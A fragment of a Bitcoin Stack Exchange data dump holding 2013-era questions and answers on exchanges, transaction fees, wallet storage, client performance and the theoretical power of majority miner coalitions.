  <row Id="9885" PostTypeId="2" ParentId="9882" CreationDate="2013-04-17T07:57:11.393" Score="3" Body="&lt;p&gt;Bitcoin-Central is to-date the only exchange to describe the capability of an &lt;a href=&quot;http://bitcointalk.org/index.php?topic=129461.msg1382551#msg1382551&quot; rel=&quot;nofollow&quot;&gt;exchange account being integrated with a bank account&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be a EUR account.  There is no estimate on when this will be available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase will draw funds from a bank account however they have not been able to keep up with the demand so there is no assurance that when funds are available in the bank account that a Coinbase order to draw those funds can be placed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dwolla is another method of drawing funds from a bank account for delivery to an exchange.  There is a several day delay between when the transfer request is placed and when the funds are made available in Dwolla for transfer to the exchange.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-17T07:57:11.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9887" PostTypeId="2" ParentId="9858" CreationDate="2013-04-17T08:39:01.680" Score="1" Body="&lt;p&gt;If bankers would, by giving out loans and the interests on them, transcend the actual number of bitcoins existing, what is the difference with the current banking system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most countries, there is also more money in circulation through banks and loans than there actually exists. And it was just so when the &lt;a href=&quot;http://en.wikipedia.org/wiki/Gold_standard&quot; rel=&quot;nofollow&quot;&gt;gold standard&lt;/a&gt; still existed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's just how these economic systems work. The only difference is that when bitcoin banks would fail, they cannot, or hardly, be saved by governments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, wouldn't such a situation contradict the spirit that makes bitcoin so popular? Bitcoin is about doing away with bankers and the corruption they are associated with. Bitcoin is about not having to trust someone else that gives you some money and tells you that it has value. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="196" LastEditDate="2013-04-17T09:00:23.040" LastActivityDate="2013-04-17T09:00:23.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9888" PostTypeId="2" ParentId="9850" CreationDate="2013-04-17T08:44:03.200" Score="2" Body="&lt;p&gt;The normal bitcoin client should not use more than a few percentages, if not even zero, from your CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What client are you running? The Bitcoin-Qt client? Did you ever enabled the &quot;generate bitcoins&quot; option? I'm not sure if it's in the Bitcoin-Qt client's settings, but you could've enabled it in your &lt;code&gt;bitcoin.conf&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you should post your &lt;code&gt;bitcoin.conf&lt;/code&gt; file. Or just make sure it doesn't have &lt;code&gt;generate=true&lt;/code&gt; in it.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-17T08:44:03.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9889" PostTypeId="2" ParentId="876" CreationDate="2013-04-17T09:26:18.417" Score="0" Body="&lt;p&gt;At the moment, miners seem happy with a reward of B25 per block (and no fee auction seems to be happening with such a reward). You'd need to see how many transactions or how many bitcoins in average are usually contained in one block, and split those B25 over all the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't think it will get very high anyway, so by itself the absence of fixed reward can be easily compensated by moderate fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What worries me more than the absence of fixed reward, and I think will have more impact, is the increase in the &lt;strong&gt;number of transactions&lt;/strong&gt;: if blocks are mined at a constant rate, and their size is fixed, &lt;em&gt;but&lt;/em&gt; the number of transactions keeps getting higher, it means that blocks will be more and more crowded and people start &quot;fighting&quot; (with fees) to get their transactions included. But again, this will be due to the number of transactions, not the presence or absence of a reward.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-04-17T09:26:18.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9890" PostTypeId="2" ParentId="9859" CreationDate="2013-04-17T09:36:27.843" Score="7" Body="&lt;p&gt;There's no cooperation involved in mining, and they won't be trying the same hashes because (for example) they have different transaction pools and (possibly) different destination addresses. Mining pooling is just like non-pooled mining, except that the revenue is spread over time instead of getting blocks of 25BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when the pooled miners have a backup set that sends them to the largest pool (BTC Guild), that's acceptable for short periods of time. But miners are still people, and if something like that happens they'll quickly correct the issue.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-17T09:36:27.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9891" PostTypeId="2" ParentId="9858" CreationDate="2013-04-17T14:09:47.927" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Loans have intrest rates that &quot;create additional value&quot;. Given the limited amount of bitcoins, couldn't we realistically run out of them?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, you wouldn't run out of Bitcoins for the simple fact that they will always be traded. Your interest payments on your loan would come out of Bitcoin trading that you did to increase your Bitcoins, even if you only did Bitcoin trading to repay your loan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If ALL Bitcoin holders became hoarders, the price of Bitcoins would increase as more and more people wanted some. Bitcoin, if as rare as gold and jewels, becomes more valuable. Finally, when the &quot;price&quot; of Bitcoins was high enough, some hoarders would trade theirs off for fiat currencies, just like gold and silver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People or companies who loan Bitcoin need to be as careful as those who borrow them. If a lender lends when the Bitcoin price is high, and then the Bitcoin price drops, it will be much more easier for the borrower to &quot;purchase&quot; more bitcoins to pay off the loan. This may be adverse to the lender's financial plan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if the borrower borrows when the price is low, and then the price goes way up, the borrower might be scrambling just to make payments so that he doesn't lose the house, and his proverbial shirt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Bitcoin becomes more commonplace, there might come into being &quot;holding houses&quot; that hold the paper on property that secures the loans that lenders make.&lt;/p&gt;&#xA;" OwnerUserId="4477" LastActivityDate="2013-04-17T14:09:47.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9892" PostTypeId="2" ParentId="9790" CreationDate="2013-04-17T14:09:56.563" Score="10" Body="&lt;p&gt;I think your update changes the question significantly (probably too much for a SE question), but the answer is still essentially the same. In order for a miner to prevent a specific address from moving their BTC, they must not only decide not to mine the transaction but they must also convince at least 51% (most likely more) of the hashing power to not only not mine the transaction but also to ignore any block that does include that transaction.&lt;/p&gt;&#xA;&lt;p&gt;First of all, I think that this is highly unlikely. Because:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Any combination of entities with &amp;gt;51% of the hashpower also has a very vested interest in Bitcoin. And deliberately allowing extortion would be against the interests of Bitcoin.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any combination of entities with &amp;gt;51% of the hashpower has other potential ways of exploiting the network, which are arguably a lot more profitable.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The bribery incentive you list wouldn't really work. There's too much anonymity in the system. If you had an address that would give me back 110% of what I sent it, I would send it some money, launder the results into a new address, send it some more money from that untainted address, send it some more money, rinse and repeat.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even if the &amp;quot;cartel&amp;quot; has 55% hashpower, there is a 1.8% chance that the minority miners could get six consecutive blocks mined. This may not sound like a lot, but if the extorted party just kept pushing trasactions out there it would only be a matter of a few hours before one of the transactions got six confirmations. So, the cartel would either have to be willing to break long strings of blocks (completely putting the network in jeopardy) or they would have an overwhelming supermajority of the hashpower (&amp;gt;90%).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So, in answer to your subquestions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it illegal? Well Bitcoin doesn't have laws. If you mean, &amp;quot;would the protocol allow it?&amp;quot; Sure. A known weakness of the protocol is that if any entity controls a majority of the hashpower then there are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;some attacks they can make&lt;/a&gt;. Luckily there are some checks on this, notably the above comment: that anyone with a majority of the hashpower also has a lot invested into the health of the network. The deliberate limiting BTC Guild did on itself a few weeks ago shows this in action: the very entities that could obtain 51% hashpower are the ones most interested in making sure that no one obtains 51% hash power.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How would it be detected? In your modified scenario, it would be public knowledge. But even if someone tried to build a silent conspiracy, it would be pretty easy to detect if they went through with their threats: there would be orphaned blocks. And all of the orphaned blocks would share two things in common: they would all contain the extorted address and they would all be mined by minority miners. It would be pretty easy to figure out what is going on. Of course, you couldn't stop someone from secretly making threats, but detecting someone carrying out the threat would be easy.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How could it be resolved? Fundamentally the network is controlled by a majority of the hash power. If a supermajority of the miners decided to block an address, then there is no resolution: the majority rules. In a way, this is a feature. No one with the majority of the hash power would do this indiscriminately: it would jeopardize the network. But if the network determined that a particular address or addresses was a threat to the network, then the miners could band together and defend the network from that threat.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;To expand on #3 with an example, say that a child pornographer publicly advertised some kind of service and accepted Bitcoin as payment. If, either out of altruism or media pressure, the majority of the hashpower decided to forbid payments to or from that address it would certainly be possible. (Of course, it would then become address &amp;quot;wack a mole&amp;quot;, but there are some ways around that if the network could agree.)&lt;/p&gt;&#xA;&lt;p&gt;TL;DR: The point being that if the miners collectively agree on something, yes, it is possible to effectively control the network. By design. That includes rolling back to a previous version (such as in the fork of March), preventing a theoretical exploit, or even executing a theoretical ban. But it's unlikely that a coalition would be willing to use that power for extortion. The miners have too much at stake in the health of the network.&lt;/p&gt;&#xA;&lt;p&gt;Update:&#xA;I discovered something to add while researching something else. Satoshi &lt;a href=&quot;https://bitcointalk.org/index.php?topic=165.msg1595#msg1595&quot; rel=&quot;nofollow noreferrer&quot;&gt;made the commment&lt;/a&gt; that if transactions are deliberately being dropped that it could be addressed client side by coding the standard client to ignore blocks that they know are ignoring transactions. It was in a slightly different context in that thread, but the gist remains the same. If a majority of the miners colluded to exclude an address, there are some client side ways of giving favor to the &amp;quot;honest&amp;quot; miners, assuming that a majority of the client nodes were willing to upgrade to a version that protected again this.&lt;/p&gt;&#xA;&lt;p&gt;UPDATE 2021: (8 years later)&#xA;There's been some activity on this Q/A recently that brought it back to my attention. And I wanted to note that this scenario effectively did happen in 2016 for Etherium. Through a weakness in the DAO (decentralized organization) protocol, a huge amount of Ethereum was stolen. The amount stolen was a enough that it effectively jeopardized Etherum's viability.&lt;/p&gt;&#xA;&lt;p&gt;As a result, a hard fork was proposed. In other words all of the miners colluded to prevent any money from being removed from that account exactly as proposed in this Question. It's actually slightly more complicated and extreme than that: essentially all blocks after the hack were invalidated via collusion between the miners.&lt;/p&gt;&#xA;&lt;p&gt;Obviously this Question was about Bitcoin, not Ethereum, but it is a real world proof of the answer. Can a coalition of miners &amp;quot;steal&amp;quot; money from an account by locking it down? Absolutely: in the end a coalition of miners with a supermajority can do almost anything. In this case, a supermajority of miners &amp;quot;stole&amp;quot; money out of the DAO account because the funds had been obtained via a protocol bug. Which is exactly why it won't happen in anything but the most extreme circumstances (such as a bug in the protocol, like the Etherium DAO incident) because it wouldn't be in the miners self-interest otherwise.&lt;/p&gt;&#xA;&lt;p&gt;More info on the Etherium DAO incident &lt;a href=&quot;https://www.gemini.com/cryptopedia/the-dao-hack-makerdao#section-the-response-to-the-dao-hack&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2021-12-06T21:51:11.390" LastActivityDate="2021-12-06T21:51:11.390" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="9894" PostTypeId="2" ParentId="9878" CreationDate="2013-04-17T15:08:07.120" Score="2" Body="&lt;p&gt;So I've been thinking about the same things and have a similar situation. In short, it depends on how often you use your BTC and how paranoid you want to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, let me agree with 99% of Nick ODell's answer. The issue with just keeping a traditional Qt client on your old Mac and only connecting it when you want to spend Bitcoins is keeping the blockchain synchronized. And also because the Qt client has a long startup time as it verifies the existing blockchain. And while the Qt client will allow you to spend coins without being fully synchronized, the transactions you are spending have to be confirmed. Which means you'd need to let the client sync after every time you spend so that you can collect your change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which defeats a good part of your strategy since you will have to leave the Mac running, and connected to the network for a long time after each transaction. Most likely you will to leave it running for hours after each transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also agree with Nick Odell that Armory is the ideal solution for this. You setup a watch-only wallet on your main (online) computer and an offline full wallet on your disconnected Mac. The downside is that it is technically more complex, especially when you are setting up your wallets but also when you are spending BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another disadvantage is that Armory doesn't seem to have strong Mac support. They were struggling for a while to create a Mac distribution, and although there is now an (unofficial?) Mac version, they don't have a long track record. I found it almost unusable on an old Mac, although much of that was because of the very large amounts of memory in currently uses and Armory would likely be much better behaved for you if you only used it as an offline wallet. (They say this will improve before it leaves beta.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you are only mildly paranoid, or need a solution that requires less technical knowledge, and you are only spending occasionally, then your approach of keeping client on the network only on the network when you need it may work just fine. Especially if you keep your &quot;petty cash&quot; in an online wallet and just use the Qt client for longer term savings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to avoid keeping a Qt client connected all of the time is to use paper wallets. Use an online wallet for your petty cash, but move anything you don't need right away to paper wallets. The critical part of this is that you &lt;em&gt;must&lt;/em&gt; &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1c9xr7/psa_using_paper_wallets_understanding_change/&quot; rel=&quot;nofollow&quot;&gt;understand how change is handled&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: Yes, a disconnected machine that only runs your Qt client &quot;on demand&quot; will work and is an acceptable way to improve security. But it has a lot of inconveniences and using Armory or an online wallet combined with paper wallets might be a better alternative.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2013-04-17T17:25:28.667" LastActivityDate="2013-04-17T17:25:28.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9895" PostTypeId="1" AcceptedAnswerId="9897" CreationDate="2013-04-17T15:09:31.877" Score="40" ViewCount="48746" Body="&lt;p&gt;Whenever I send bitcoins from one wallet or one exchange to the next there is always a fee. This makes sense with the exchange sites, they are just collecting the fee so they can make a living. What about the open source wallets that I've installed on my computer? &#xA;Surely, nobody is collecting my bitcoins because my transactions are too long! So, is the &quot;fee&quot; part of the Bitcoin algorithm? Do the coins that are confiscated in the fee go to Bitcoin miners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when does the fee start? I noticed, if I send like 0.05 bitcoins there is no fee, but if I send 0.1 bitcoins there is a fee. &#xA;What if I just sent 0.05 bit coins twice? Or is it if they are in the same block I will get a fee, so I'd have to send them twice (and 10 minutes apart)?&lt;/p&gt;&#xA;" OwnerUserId="4325" LastEditorUserId="5406" LastEditDate="2023-08-31T18:04:40.097" LastActivityDate="2023-08-31T19:20:27.623" Title="Who gets Bitcoin transaction fees?" Tags="|transactions|wallet|transaction-fees|mining-reward|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9896" PostTypeId="2" ParentId="9866" CreationDate="2013-04-17T15:12:35.183" Score="2" Body="&lt;p&gt;When I've had this happen it's been because of a non-clean shutdown. Something about the disk state ends up being inconsistent and this (understandably) results in the system wanting to verify all the information it has on disk.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-17T15:12:35.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9897" PostTypeId="2" ParentId="9895" CreationDate="2013-04-17T15:47:54.327" Score="34" Body="&lt;p&gt;The fee goes to the miner who mines the block that includes your transaction. The fee is based on the size (in bytes) of the transaction and the age of its inputs (how long ago the coins spent were received).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions get big if they have to &quot;pull in&quot; a lot of outputs from previous transactions and that raises the fee. So if you got a lot of small payments and then try to make a large payment, the transaction will be expensive because it needs to gather all those small payments.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-17T15:58:21.617" LastActivityDate="2013-04-17T15:58:21.617" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9898" PostTypeId="2" ParentId="9867" CreationDate="2013-04-17T15:49:28.677" Score="0" Body="&lt;p&gt;This is largely an agreement with Nick ODell's answer, but it was too long to put in a comment and I don't want suggest adding a bunch of extraneous things to his answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways that you could give your Person B the ability to instantly have access to the funds. For example, just creating a new account, sending the money there with a normal transaction, and then providing them with the private key for that account when they deliver the product. But the problem with that approach is that there is no way that the recipient could verify that you haven't already used the private key to create a double spend just before you give them the private key. They could only be certain you haven't spent the output already by moving it to a new address and then waiting for the six confirmations. (Which fails to meet your objective. And there's no way around it. The point of the 6 transactions is to confirm no conflicting spends.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could avoid this problem by creating a transaction that you couldn't spend yourself ahead of time. For example, a 2of2 transaction that requires a private key that they already own as well as the private key you just created. But, as you point out, the problem with that approach is that if they elect not to complete the transaction there is no way to &quot;revoke&quot; the transaction. You can't claim it (by design) and they can't claim it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, although I haven't done a rigorous proof here, I think the only theoretical way to solve this use case would be to have one thing they control, one thing you control, and one third thing that is &quot;in escrow&quot;. As @NickODell points out, the block number would be an interesting way to do time based escrow. (And the &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_1:_Providing_a_deposit&quot; rel=&quot;nofollow noreferrer&quot;&gt;contracts page on the bitcoin.it wiki&lt;/a&gt; leads me to think that it would be possible in a couple of ways.) But without replacement transactions or some other way to allow you to undo this if the deal doesn't work out I think the only way to do this would be manual escrow. ( See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/861/why-isnt-transaction-replacement-supported&quot;&gt;this answer&lt;/a&gt; for some answers on replacement transactions. )&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-04-17T15:49:28.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9899" PostTypeId="2" ParentId="9895" CreationDate="2013-04-17T16:03:21.387" Score="13" Body="&lt;p&gt;From the Bitcoin.it wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transaction fees are voluntary on the part of the person making the&#xA;  bitcoin transaction, as the person attempting to make a transaction&#xA;  can include any fee or none at all in the transaction. On the other&#xA;  hand, nobody mining new bitcoins necessarily needs to accept the&#xA;  transactions and include them in the new block being created. The&#xA;  transaction fee is therefore an incentive on the part of the bitcoin&#xA;  user to make sure that a particular transaction will get included into&#xA;  the next block which is generated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Transaction_fees&quot;&gt;http://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The client might send one transaction for free but then for the next transaction (even if it is for a smaller amount) the client might show that a fee is required.  This is likely due to the makeup of the remaining coins in the wallet.  After your first transaction, any change that was made gets sent back to you but that becomes a &quot;newly received&quot; coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the network, if that second transaction includes this newly received coin that would look the same as a transaction made by someone trying to harm the network.  That type of harmful action tries to re-spend the same funds over and over but without paying a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just like how there might be a candy dish on a receptionists desk and you are free to take one doesn't mean you are free to take all the candy from the dish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the same approach here.  The client will let you spend coins that have some time passed (i.e., were not just received) without having to pay a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your coins are instead being re-spent within a short amount of time (i.e,. same day), then the presumption is that you could be harming the network therefore a fee is required to prevent that activity.  If it was a transaction being made without the intent to harm the network, then requiring a small fee shouldn't be that much of a restriction.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-08-31T03:03:28.343" LastActivityDate="2013-08-31T03:03:28.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9900" PostTypeId="2" ParentId="9850" CreationDate="2013-04-17T16:12:50.287" Score="1" Body="&lt;p&gt;For the initial synchronization with the Bitcoin network, you may see elevated CPU and disk usage. During this synchronization process, the client downloads from other nodes in the network each block. The client verifies each block itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that you're running Vista, your computer is probably at least five years old. Its performance may be impacted more than more modern computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to consider using the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;boostrap.dat&lt;/a&gt; method of synchronizing more  quickly and with less performance impact. This method will synchronize the first ~216k blocks much more quickly. Once imported, your client will resume normal synchronization. Please ensure that you are using Bitcoin-Qt 0.8.0 or newer in order to avoid problems with this method.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-17T16:12:50.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9901" PostTypeId="1" AcceptedAnswerId="9919" CreationDate="2013-04-17T17:02:30.140" Score="4" ViewCount="500" Body="&lt;p&gt;I'm creating a course on the Bitcoin on Udemy that serves as both an introduction to the bitcoin and also a source to explain how mining and speculation work. I'm working on lecture three which is on the bitcoin economy and I'm wondering what metrics I should include to explain how one can understand the bitcoin economy. So far I have the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distribution of Wealth&lt;br&gt;&#xA;Supply and Demand&lt;br&gt;&#xA;Exchanges (by trade volume) &#xA;Currencies exchanged for bitcoins&lt;br&gt;&#xA;Pools (by hash volume)&#xA;Oligarchiness (the influence any one group has on the bitcoin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that blockchain has the most accessible data for neophytes. Are there any other data pools you'd recommend for people to use? &lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="516" LastEditDate="2013-04-18T01:49:40.970" LastActivityDate="2013-04-18T02:05:57.620" Title="Metrics to Study the Bitcoin Economy" Tags="|bitcoin-economy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9903" PostTypeId="1" AcceptedAnswerId="9909" CreationDate="2013-04-17T17:57:24.560" Score="5" ViewCount="448" Body="&lt;p&gt;I'd like to keep some bitcoins as a long-term investment - store them to a pen drive which I stash in some safe place, or otherwise backup it securely, then remove all traces from my online computer never to worry about this particular wallet getting stolen except by an old-fashioned burglar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my worry is that if I export my wallet with the coins from client program X, which will pack the wallet, the keys, some configuration and other stuff into its own proprietary backup format, then the author ends the project in a year, in five years the OS changes and no longer supports this kind of binaries and their API, and when I finally decide to cash my investment I find myself with a data file no bitcoin client on the market can process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the most portable to survive for years (probably most &quot;raw&quot;) bitcoin wallet format? Which software can export/import it currently?&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2013-04-17T18:41:38.313" Title="Keeping a portable long-term offline wallet" Tags="|wallet|backup|offline|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9904" PostTypeId="2" ParentId="8574" CreationDate="2013-04-17T18:17:01.573" Score="1" Body="&lt;p&gt;I see what you are trying to convey. What is the cost of doing business in the Bitcoin compared to doing business with say the US Dollar? The Dollar was never designed to be ported into an international digital spectrum. It requires a massive support network of banks, regulations, payment processors and international agreements to permit Online commerce, but even then it suffers from fraud and sovereign manipulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin resolves a huge set of issues the dollar suffers from at the cost of global transaction verification and the risk of a deflationary spiral. In short, no one can legitimately assert to fully understand the impact of the Bitcoin and its long term use. It's an experiment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would encourage you to take my course on Bitcoins on Udemy when I finish it at the end of this week. Send me an email at Charles.Hoskinson@gmail.com if you're interested.&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-17T18:17:01.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9905" PostTypeId="2" ParentId="4778" CreationDate="2013-04-17T18:24:16.337" Score="0" Body="&lt;p&gt;Efficiently aside, he probably doesn't have to pay for power. That said, it's ASIC land. GPU mining will be dead in under a year.&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-17T18:24:16.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9906" PostTypeId="1" CreationDate="2013-04-17T18:30:58.007" Score="3" ViewCount="92" Body="&lt;p&gt;Bitinstant hasn't replied to my &quot;contact us&quot; and customer service emails - does anyone know why they do not post a current exchange rate on their page? Has anyone used BitInstant, funding from Dwolla and paying out to a bitcoin address?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2013-05-17T21:17:24.237" Title="What is BitInstant's &quot;spot&quot; price when sending to BitCoin Address?" Tags="|bitinstant|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9907" PostTypeId="2" ParentId="863" CreationDate="2013-04-17T18:36:53.073" Score="0" Body="&lt;p&gt;The reality is that we don't have advanced enough financial products nor a sophisticated enough market to allow bulk transactions to occur without a price impact. The market is too thin and dark pools are impossible because every single transaction is both broadcast and verified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a large amount of Bitcoins are suddenly transferred from a single account, then everyone knows in ten minutes. Accounts would have to be highly divested and decentralized to hide a bulk transaction. Thus, the analogue to Iceberging. I can imagine a specialized set of market actors offering this service for large cap investors, but honestly we need options to trade risk way before we worry about large transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice to anyone who holds several thousand Bitcoins who got in early is to wisely divest until they have recouped their initial investment and then adopt price points to slowly liquidate their holdings. It's a deflationary currency. The price has to go up if it is going to survive. Don't worry about daily fluctuations.     &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-17T18:36:53.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9908" PostTypeId="1" CreationDate="2013-04-17T18:39:32.357" Score="2" ViewCount="497" Body="&lt;p&gt;I want to have some bitcoin too, but I am currently living in Morocco, so where can I change my Dollars and Euros to bitcoins and still can use them worldwide? is there a market for that&lt;/p&gt;&#xA;" OwnerUserId="4483" LastEditorUserId="153" LastEditDate="2013-04-17T20:52:00.897" LastActivityDate="2018-04-29T20:05:20.143" Title="How can I send a bank wire from X to buy bitcoins?" Tags="|exchanges|buy-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9909" PostTypeId="2" ParentId="9903" CreationDate="2013-04-17T18:41:38.313" Score="1" Body="&lt;p&gt;All wallets basically just store public+private keys. If you store those keys, it's fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there's the normal wallet file, which is stored in the Berkeley DB format, which is an extremely common format and it has been for the past 15+ years. While I can't speak with 100% certainty, I'd say that the &lt;code&gt;wallet.dat&lt;/code&gt; file from the reference client is a pretty safe bet (perhaps even safer than storing the raw keys).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which software can export/import it? Well, there may be a few exceptions, but almost all Bitcoin wallets, either online or offline, can handle those files.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-17T18:41:38.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9910" PostTypeId="1" CreationDate="2013-04-17T20:47:00.573" Score="3" ViewCount="210" Body="&lt;p&gt;What prevents a bitcoin miner from modifying the code to make mining easier instead of more difficult ?&lt;/p&gt;&#xA;" OwnerUserId="4490" LastEditorUserId="5406" LastEditDate="2016-04-17T20:08:43.000" LastActivityDate="2016-04-17T20:08:43.000" Title="Code modification could lower mining-difficulty requirements, why isn't this a vulnerability?" Tags="|mining-theory|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9911" PostTypeId="2" ParentId="9906" CreationDate="2013-04-17T20:48:38.897" Score="1" Body="&lt;p&gt;I've seen the claim that they convert at the last trade at Mt. Gox as-of the time that ZipZap notifies them of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the Moneygram --&gt; ZipZap interface, and then the ZipZap --&gt; BitInstant, followed by the BitInstant --&gt; Coinapult (which does the exchange) there isn't any strictly followed timeline as far as how long after you've handed over the cash before your coins are sent to you.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-17T20:48:38.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
